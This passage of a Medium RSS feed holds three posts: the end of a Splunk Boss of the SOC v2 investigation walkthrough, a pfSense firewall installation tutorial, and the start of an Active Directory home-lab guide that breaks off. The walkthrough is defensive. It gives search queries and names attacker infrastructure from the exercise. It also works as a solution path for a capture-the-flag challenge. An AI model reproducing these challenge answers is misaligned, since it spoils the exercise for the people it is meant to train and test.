deceptive tactics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*kf7vG3zbPk7TgLQybTIVGw.png" /></figure><h3>300 series questions</h3><h3>Question 1</h3><blockquote>Mallory’s critical PowerPoint presentation on her MacBook gets encrypted by ransomware on August 18. What is the name of this file after it was encrypted?</blockquote><p>For our search, we have the following information: the user’s name is Mallory, they work on a MacBook, the date is August 18, and we are searching for a specific file. Let’s commence the search with a keyword search based on this information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*XzCoMF4-UYvbX0qXTzOvTg.png" /></figure><p>The search has returned an excessive number of events, and we need to further refine it. To narrow down our search, we can utilize the “host” field, and we are specifically seeking a PowerPoint presentation.</p><pre>index=&quot;botsv2&quot; host=&quot;MACLORY-AIR13&quot; (*.ppt OR *.pptx)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*Y5tEfGk5lXMFXoqCEvDiPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*e1_h-FxkY9w8zkS4FYEb_g.png" /></figure><h3>Question 2</h3><blockquote>There is a Games of Thrones movie file that was encrypted as well. What season and episode is it?</blockquote><p>In this instance, we are searching for a movie file, which could have various extensions like .avi or others. We have information about the host and sourcetype from our previous investigation, and we also know that the file extension after encryption is ‘crypt.’ Let’s leverage this information to formulate a search query.</p><pre>index=&quot;botsv2&quot; host=&quot;MACLORY-AIR13&quot; sourcetype=ps *.crypt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*SjmxDkZ-J3WFMGD1OXUVpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f9N2nX7sCooVEIvZSOIIRw.png" /></figure><h3>Question 3</h3><blockquote>Kevin Lagerfield used a USB drive to move malware onto kutekitten, Mallory’s personal MacBook. She ran the malware, which obfuscates itself during execution. Provide the vendor name of the USB drive Kevin likely used. Answer Guidance: Use time correlation to identify the USB drive.</blockquote><p>After conducting a keyword search for ‘kutekitten’ and ‘usb,’ we have successfully reduced the number of events to 40. Further examination of the ‘interesting_fields’ reveals the presence of ‘tag’ and ‘vendor.’ Let’s proceed to refine our search by incorporating these fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*yypV0nR32HK9kwhvEHWq1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*BC0Pa-u_ADFULAnzJV-Ciw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*ekidHrUp0QaE-cZ3HWdKdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*XfigPtNDh1jxCXgMbZYqRQ.png" /></figure><p>A swift online search for the vendor_id has unveiled the answer we were seeking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*hcvvggrNyIWfsUUD_ZN9Vw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*OGTSHmX6t4Rcs0ut9BJ3vA.png" /></figure><h3>Question 4</h3><blockquote>What programming language is at least part of the malware from the question above written in?</blockquote><p>We initiate our search with a keyword query and promptly observe the presence of the user ‘mkraeusen.’</p><pre>index=&quot;botsv2&quot; kutekitten</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*t6iwLbX1IvSymyi8iDZ__A.png" /></figure><pre>index=&quot;botsv2&quot; kutekitten mkraeusen</pre><p>I examine the various intriguing fields to further refine my search, and during this process, I happen to come across the ‘name’ field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*clklJDesiye1dISW-9uFTQ.png" /></figure><pre>index=&quot;botsv2&quot; kutekitten mkraeusen name=file_events</pre><p>After examining three out of the five events, I discover a hash value. I intend to submit this hash value to VirusTotal for further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*jN8MBOA9cJ_HQvcnTioIug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*VjutzMPBrwp2l2uy-5ulLA.png" /></figure><p>It certainly appears to be malicious, and interestingly, there is even an indication of the programming language used in the suspicious content.</p><h3>Question 5</h3><blockquote>When was this malware first seen in the wild? Answer Guidance: YYYY-MM-DD</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*qvvUk3ALyDTF3Deitps92g.png" /></figure><h3>Question 6</h3><blockquote>The malware infecting kutekitten uses dynamic DNS destinations to communicate with two C&amp;C servers shortly after installation. What is the fully-qualified domain name (FQDN) of the first (alphabetically) of these destinations?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*H861okeYPQ66yUE69RMIpg.png" /></figure><h3>Question 7</h3><blockquote>From the question above, what is the fully-qualified domain name (FQDN) of the second (alphabetically) contacted C&amp;C server?</blockquote><p>The relations tab provides all the information needed for the task.</p><h3>400 series questions</h3><h3>Question 1</h3><blockquote>A Federal law enforcement agency reports that Taedonggang often spear phishes its victims with zip files that have to be opened with a password. What is the name of the attachment sent to Frothly by a malicious Taedonggang actor?</blockquote><p>Let’s commence our search with a keyword query. Based on the information provided, we are specifically looking for zip files and emails.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:smtp&quot; *.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*fMkSqV3A8e1DlXt7jCdnwQ.png" /></figure><p>This concise search query effectively reduces our search results from 60 million events to just 6 events, demonstrating the impressive capabilities of Splunk.</p><h3>Question 2</h3><blockquote>What is the password to open the zip file?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*iIBDipe1GPegYgl3wzlc6g.png" /></figure><h3>Question 3</h3><blockquote>The Taedonggang APT group encrypts most of their traffic with SSL. What is the “SSL Issuer” that they use for the majority of their traffic? Answer guidance: Copy the field exactly, including spaces.</blockquote><p>In line with the question’s focus on finding the “SSL Issuer,” let’s initiate a keyword search using terms like SSL, TLS, and HTTPS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*V4Pp9vCLm-fBAEnQA5GOCA.png" /></figure><p>By examining the ‘sourcetype’ field, we will proceed to filter the events specifically by ‘stream:tcp.’ We have a lot of interesting fields related to ssl including ‘ssl_issuer’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*BlqFEkOI1W2SzO-fUPwYwA.png" /></figure><p>Having identified multiple SSL certificate issuers and being aware of the attacker’s IP address, let’s further narrow down our search, resulting in just one SSL issuer.</p><pre>index=&quot;botsv2&quot; (SSL OR TLS OR HTTPS) sourcetype=&quot;stream:tcp&quot; dest_ip=&quot;45.77.65.211&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*m-ydZmp1sG3KryRNq1kQoA.png" /></figure><h3>Question 4</h3><blockquote>What unusual file (for an American company) does winsys32.dll cause to be downloaded into the Frothly environment?</blockquote><p>Conducting a search using keywords, as per the question.</p><pre>index=&quot;botsv2&quot; winsys32.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*fnTLeggkm9KzXT62C2yVhg.png" /></figure><p>We have FTP being run on the system which is used to download something on the system.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:ftp&quot; loadway=Download</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*8ZZNqzxsscJBSVp5KwOXYw.png" /></figure><h3>Question 5</h3><blockquote>What is the first and last name of the poor innocent sap who was implicated in the metadata of the file that executed PowerShell Empire on the first victim’s workstation? Answer example: John Smith</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApffH2FBO8T_o7mtR45JJA.png" /></figure><h3>Question 6</h3><blockquote>Within the document, what kind of points is mentioned if you found the text?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*CbDnNVaTJA7FHqA5H-bYBQ.png" /></figure><h3>Question 7</h3><blockquote>To maintain persistence in the Frothly network, Taedonggang APT configured several Scheduled Tasks to beacon back to their C2 server. What single webpage is most contacted by these Scheduled Tasks? Answer example: index.php or images.html</blockquote><p>We should concentrate on scheduled tasks and create a search query accordingly.</p><pre>index=&quot;botsv2&quot; schtasks.exe</pre><p>We narrow it down by using ‘Account_Domain’ as a refinement since there is only one, and this reduces the number of events to a more manageable 36.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*IjUH4Qr-38ZB4Igd2N2raw.png" /></figure><p>I’ve come across a particularly intriguing event in which a PowerShell command is being executed, and this has furnished us with additional information for our next search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cmEp5oeGN66PEqOj6zJYeg.png" /></figure><pre>index=&quot;botsv2&quot; \\Software\\Microsoft\\Network</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*Ls0jY1bF9IR6G0hp3Yt_uw.png" /></figure><p>We will further narrow down our search by focusing on “WinRegistry.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0iuOnudye2JJK7f6QXzvA.png" /></figure><p>These events pertain to modifications made to Registry values. To find the answer, decode the base64-encoded data included in these events.</p><p>I must admit, this task turned out to be far more enjoyable than originally anticipated. The learning curve was quite steep, but the experience was truly remarkable. It’s astonishing to think that with just a few straightforward searches, I managed to reduce the number of events from 60 million to just 6.</p><p>I want to express my gratitude to all the viewers for reading. Please stay tuned, as there will be more to come.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ac863e71a98" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering pfSense: An In-Depth Installation and Setup Tutorial]]></title>
            <link>https://cybergrover.medium.com/mastering-pfsense-an-in-depth-installation-and-setup-tutorial-dadd6dd84daf?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dadd6dd84daf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[firewall]]></category>
            <category><![CDATA[pfsense]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Tue, 26 Dec 2023 08:15:31 GMT</pubDate>
            <atom:updated>2023-12-26T08:15:31.489Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IipqravpX0v9QVIwMzdnDw.png" /></figure><p>pfSense is a versatile and open-source firewall and routing platform that empowers users to take control of their network security and management. Whether you’re new to pfSense or looking to refine your skills, this comprehensive guide will walk you through the installation and configuration process, equipping you with the knowledge and confidence to harness the full potential of this robust network tool. Join me on this journey as we demystify pfSense, turning complex setups into manageable steps and transforming your network security into a fortress.</p><p>Visit <a href="https://www.pfsense.org/download/">https://www.pfsense.org/download/</a></p><p>Download and extract the ISO file to your chosen location. I have chosen the ISO installer with a 64-bit architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*TOJLTwmjckm2lln0IxnuHw.png" /></figure><p>Start the new virtual machine wizard in VMware.</p><p>Select the extracted installation ISO and select an appropriate name and location for your pfSense VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*uhBaHopMP58ezF64kzFO0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*7k4VTfYgBFrk8PY4RzP32Q.png" /></figure><p>Select an appropriate disk size. 20 GB would suffice. Before we power on the machine, we need to customize a few settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*x06s8vB4Qo1ucE37U0b_DA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*vE4ZAw5GV26vecxqzwUcUA.png" /></figure><p>I increased the RAM to 2 GB. However, it can run with 512 MB RAM.</p><p>Necessary: Add a new secondary Network Adapter in the settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*sPMMSdC2xGBa27rlcEydSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*8VhmEpN8nlydie0tSKrTjg.png" /></figure><p>Select ‘Custom” as your network connection and a specific virtual network. I have selected Vmnet5. This is how your virtual machine settings should look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*77tZFPZUoKMVkya0nd8X3A.png" /></figure><p>Start the VM, Accept the License, and proceed with the installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*eC11LYrWiuMBhtbSKTCMQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*mdkdZYOJ3uEH4k1xYSfPSQ.png" /></figure><p>Select Auto (ZFS) and the remaining options as shown. Press space to select the disk during ZFS configuration and select ‘YES” to proceed with the installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*FYf_G7BN_fG-rpRp_WDy0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*CFGQa2kzyuGSqk-1rmxm1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*aOMr6IrzE555-a243D653g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*ZCLHy4bjWfXWI5IRrikd0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*F6tBGUDbFDD8AHsdhzq5Og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Edzy-xrpQMvy0WYcOyWykw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*QOxQbAwtm2uDxXZ0gRifpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*CCumgdGPPpVlDrQaXu-xbQ.png" /></figure><p>Once completed, you will be presented with this screen.</p><p>Our WAN interface had a NAT connection and obtained an IP address via DHCP. The other interface is our LAN interface, which has been assigned an IP range of 192.168.1.1/24. We are going to modify this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*0W9DjLWU9l5pMR1vsBtLqg.png" /></figure><p>The first thing we will do is ‘Assign Interfaces.’ During our installation, we set up two network interfaces in VMware, which can be seen here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*Gz7-2aefUoqMYVptxjjYig.png" /></figure><p>Enter option 1 to Assign Interfaces. We will say no to the VLAN setup since we will do it manually later.<br>You will be asked for a username/password. The default is admin:pfsense. We will change it as soon as possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*3sjlHwMi-7zKb7FFWSFnyg.png" /></figure><p>As we saw above, our WAN interface is ‘em0’, which I will enter here, and my LAN interface is ‘em1’. We are back to the earlier screen since nothing has changed for me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*gZIhL_oxlLCizc-wOYYmag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*Qd6qaONtReFXDPcJEdwhyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*T4lbm_JHEIX9wxkCApWA2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*kP9g0XZmqr-gDHfWZTvHFA.png" /></figure><p>Next, we will assign IP addresses to interfaces. The WAN interface is acquiring its IP from DHCP, so we will not change that. We are going to change the LAN IP address range to our liking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*qu-kFKMauOB_ZLDSN0_PFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*tOcGZd8J_uyIprf5EOWFqA.png" /></figure><p>I have selected the 10.0.0.1/24 network for my LAN. I understand it’s a Class A network and probably too big, but we will use VLANs in the future, and I like to keep a consistent range. Skip IPv6 configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*dkvYapcfHZ1en1ecotacdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*cNuZGRvu_mxQfgNUmaZL3g.png" /></figure><p>Enable the DHCP server on the LAN and configure a DHCP pool. Once completed, we can access the web console on 10.0.0.1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*TsBLSvn-8QR8jH39HHvPxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*bvXq5Eo1gCt0DwaFoY1g8w.png" /></figure><p>I will boot up the Parrot Linux VM, changing the Network Adapter to ‘VMnet5’. The VM could get an IP from the DNCP server in the range we configured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*-9ZdJ3JPDg8gTTyd-NQNoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*r9U7a-gvzM_m5L6Ew5Wtmg.png" /></figure><p>Navigate to 10.0.0.1 to access the pfSense web console. Login using the default credentials and change the default password. Feel free to explore the dashboard. You have successfully installed pfSense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*7BnxGXc72I354lKfxTsMtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*oiLLrvqZ67LJMxhSfNGnVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_Qwi1qhyEE8wis9naVNoA.png" /></figure><p>Now, one might be wondering why we did all of this. To learn about pfSense, of course, but what does it offer?</p><p>Let me give you a tinysneak peek under the hood. Navigate to ‘Rules” under Firewall and then the LAN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/194/1*cKYmQx62BUS8Y3DwnGCzbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zduu7dpNZi547_Ha0MIWnw.png" /></figure><p>These are some default rules set up by pfSense. The rule with the description “Default allow LAN to any rule” allows all communication from the LAN to the Internet.</p><p>As one can see, I am able to reach the Internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*Fj9-2vxwsypQdwAjCuma5Q.png" /></figure><p>I have just turned off this rule. Now I am unable to reach the Internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDExoenemsnTLmXPXrZ1jA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*7uwO3nzZ3OvMGgPrIhFSXg.png" /></figure><p>However, I would like to update my Parrot OS but not allow any other machine on my LAN to reach the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KW9HdWEjlMuSSqITW_M1Q.png" /></figure><p>As one can see, I am unable to update / reach the Internet. Parrot OS has an IP address of 10.0.0.100.</p><p>Let’s rectify the situation by creating a rule.</p><p>Action: Pass | Interface: LAN | Address Family: IPv4 | Protocol: Any</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*875ZNTwPXPEgHEgGXe3GpA.png" /></figure><p>Source: 10.0.0.100 | Destination: Any</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qycy80C_orbOtyNn61MeHA.png" /></figure><p>Save and Apply Changes, and Voila, we have Internet Access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*1MbEbPuJy7-RduFugVHBUw.png" /></figure><p>This was a small tutorial on installing and configuring the pfSense firewall. There is a lot more that we can do with this. In the next articles, we will explore VLAN’s setup and configuration. We will also dig deeper into ‘Rules’ and see how fine-tuned rulesets can help in protecting our networks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dadd6dd84daf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering AD at Home: A Visual Guide to Setting Up Your Lab]]></title>
            <link>https://cybergrover.medium.com/a-visual-guide-to-setting-up-your-ad-lab-4f003c814f0a?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f003c814f0a</guid>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Tue, 19 Dec 2023 05:34:22 GMT</pubDate>
            <atom:updated>2023-12-19T05:34:22.465Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s technology-driven world, understanding and mastering Active Directory (AD) is essential for anyone pursuing an IT, system administration, network management, or cybersecurity career. However, gaining hands-on experience with AD can be challenging, especially if you don’t have access to a corporate network environment. That’s where setting up an AD home lab comes in handy. In this article, we’ll guide you through creating your AD home lab, providing a safe and controlled environment to learn, experiment, and enhance your AD skills.</p><h4>Learning Objectives</h4><p>- Installing Windows Server 2022 and Windows 10 Enterprise on a VMware Hypervisor.<br>- Configuring a Domain Controller, Managing Users and Groups, Establishing Shares, and Implementing Group Policies.</p><h4>Hardware and Software Requirements</h4><p>- Windows Server 2022 ISO<br>- Windows 10 Enterprise Edition ISO<br>- Minimum RAM: 16 GB<br>- Free Disk Space: 60 GB</p><h3>Setting Up Windows Server 2022 and Configuring a Domain Controller</h3><p>Before we dive headfirst into our AD home lab adventure, let’s start by paying a visit to the Microsoft Evaluation Center. This is where you can grab the essential ingredients for our lab setup: the Windows Server 2022 and Windows 10 Enterprise ISO files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*a2yUA3D3TY39Y2YhqXJvEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4s9ohs51gKLU_wEtvFfs9Q.png" /></figure><p>“In VMware, begin by clicking on ‘File’ and selecting ‘Create New Virtual Machine.’ This action will launch the ‘New Virtual Machine Wizard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*qFXibE3xeQbyd-5kYBgj4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*fqbJCqQnxx7WLG2D_AnMRA.png" /></figure><p>Within the wizard, choose ‘Windows Server ISO’ and ‘Windows Server 2022 Standard’.</p><p>Proceed by specifying a name for your virtual machine and selecting a suitable location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*VfX2kseByIpfgKGXFByDLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*bjXshh1PjH7m0YrbflTjPQ.png" /></figure><p>Determine the desired hard disk capacity for your virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*hxASRL4_C2YwswHIag0BWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*-2sx-JYjRVQhxGPG6scVpg.png" /></figure><p>Once all the necessary details are in place, complete the setup by clicking ‘Finish.’ Your virtual machine is now prepared for use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*y93yMqDpCWnAfBk4reWaKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*Iz5Kaj3gzkGF2Uisr6zfMw.png" /></figure><p>Let’s streamline our virtual machine settings. Start by eliminating the ‘Floppy’ device option.</p><p>Windows Server can technically run on a mere 2GB of RAM, but it would be as slow as a snail on a coffee break. To preserve your sanity and ensure a smoother experience, I strongly recommend bumping up the RAM to a minimum of 4GB, or even more if possible. Trust me; your future self will thank you for this upgrade!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*bhxKBXmrtnv4hCz2ilXDYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*eLBCVxrG-fC8yxHfFv8Qpg.png" /></figure><p>First, select your preferred language.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*QuaaozPci2NepTySQu8scw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*DNX1KnZKqXyh3f61QmKV2w.png" /></figure><p>Next, opt for ‘Windows Server 2022 Standard Evaluation (Desktop Experience)’ if you want the graphical user interface (GUI) experience. This choice ensures you have a familiar Windows desktop environment to work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*1LoDj6B9SbcLwNMqTaGMAw.png" /></figure><p>Now, brace yourself for the fine print. Accept the license terms because it’s the only way forward.</p><p>When given the installation options, choose ‘Custom Install.’ This allows you to tailor the setup to your needs, ensuring you get precisely what you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*IbEhp80r1HC3TUmUHZ3Zig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*nkPWasipgYMaq75SHHm0HA.png" /></figure><p>Time to pick a drive and let the magic happen. Choose the drive where you want to install Windows Server and let it do its thing. Please sit back, relax, and watch the installation process work its wizardry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*PNdghftfdtzs6dKSUyF0PA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*jYHgHYZg-TDNz0znA4gIyA.png" /></figure><p>Log in as the Administrator, and you’ll be greeted with the welcoming sight of Server Manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*HElRoh8qGuPeBYaecOacRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*PlZiHp_qRowU3vbSKTSpGw.png" /></figure><p>To unlock the full potential of your virtual environment, don’t forget to install VMware Tools. This step will give you the coveted full-screen experience, making your virtual world feel even more immersive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yYyb0iMsHwaGRh92QuNciQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*jvuygzxW-k5PF4Ec5xRd3g.png" /></figure><p>Now, let’s harness the power of PowerShell to rename your PC. Execute the following command</p><pre>Rename-Computer -NewName &quot;NewComputerName&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Kiy4bjGnB3yIjZfCABmhVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*XIEypRdfj-7ZXrx4PfT5Aw.png" /></figure><p>I’ve been immersed in a ‘Reacher’ binge-watching marathon, so I’ve decided to infuse some ‘Reacher’ inspired themes into the setup of my Domain and PC.</p><p>While navigating through Server Manager, head to the top-left corner and click on ‘Manage.’ From there, select ‘Add Roles and Features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*OodxzH1ruZ4QsErY81Qkjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*7c5ib_ZNMmaj5n8iB_T13Q.png" /></figure><p>When prompted, choose the ‘Role-based or feature-based installation’ option, and then select the suitable server from the available pool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*2WcUle8cRhCdywuvRZVMnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*V7ENs4LmJUq32sK8uz_dxQ.png" /></figure><p>Next, go ahead and select ‘Active Directory Domain Services’ from the list of available options. Click ‘Next’ to proceed through the installation prompts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*KDdeaGnCaK756t3gPWRgHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*VC2dd4IVXogRC1zPnpqi9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*a2LkWTPCvDtKPk5y9P707A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*IdLul-j9xvR0tdxt0lXNJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*gyDzNNNNWsw5VNILIicC5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*vngqTaZLULcG7n2xWfzWog.png" /></figure><p>“Click the ‘Install’ button and then close the installation window. The installation will continue in the background, and you can monitor the progress in the top-left corner of the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*R-iYd5oNiS9BrNqv1IF1KA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*xnrEBGGFkXKt1RimH4isJw.png" /></figure><p>After the installation is complete, it’s time to wrap up the post-deployment tasks by promoting this server to a Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*2MXXtZrd2M_EVG7J9wwHng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*wAsFYb7r5dl358AJN-OrRg.png" /></figure><p>Naming my root domain as ‘110_SIU.local’ — feel free to select a name that resonates with you! Set a DSRM password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*A4kwgjdL6Ryf-YvsqwvLYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*e-9m7iCih-japkE_b-rymA.png" /></figure><p>The setup takes care of the Database, Log files, and SYSVOL location automatically, and for our purposes, the default settings will do just fine. However, feel free to make changes if they align better with your specific requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*bl6ailbLKgUgz3sCiwzymQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*5mDkXgYi5fCZ1qeYS-qzlw.png" /></figure><p>If everything looks good and all the prerequisite checks pass with flying colors, go ahead and proceed with the installation. Upon restarting your system, you’ll be greeted by a wonderful login screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*dhov6HZrCh0z9gQd5ZVyfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*kHy3esXcJR12uZCr2eStdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*MsfMpb42avsQagmNmOedDQ.png" /></figure><h3>Configuring Windows 10 Enterprise</h3><p>Now, let’s embark on the journey of setting up Windows 10 Enterprise. The initial steps are familiar; just make sure to select the correct ISO file and choose the Windows 10 Enterprise version for installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*Dtz3CdDcFOJIz7MWn8UYEA.png" 